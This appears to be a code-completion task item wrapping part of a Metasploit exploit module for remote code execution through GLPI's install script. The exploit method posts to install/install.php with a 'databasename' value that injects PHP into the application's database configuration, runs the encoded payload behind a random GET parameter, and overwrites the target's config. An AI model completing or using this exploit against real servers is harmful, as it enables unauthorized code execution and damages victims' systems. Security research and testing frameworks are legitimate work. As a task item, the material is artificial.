You are an expert in writing code in many different languages. Your goal is to perform code completion for the following code, keeping in mind the rest of the code and the file meta data.
    Metadata details:
    filename: glpi_install_rce.rb
    path of file: ./repos/metasploit-framework/modules/exploits/multi/http
    
    the code of the file until where you have to start completion: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # Application database configuration is overwritten

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {
    
  def exploit
    print_status("Injecting the payload...")
    rand_arg = Rex::Text.rand_text_hex(10)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(uri, 'install/install.php'),
      'vars_post' =>
      {
        'install'      => 'update_1',
        'db_host'      => 'localhost',
        'db_user'      => 'root',
        'db_pass'      => 'root',
        'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*"
      }
    })

    unless res and res.code == 200 and res.body =~ /You will update the GLPI database/
      print_warning("Unexpected response while injecting the payload, trying to execute anyway...")
    end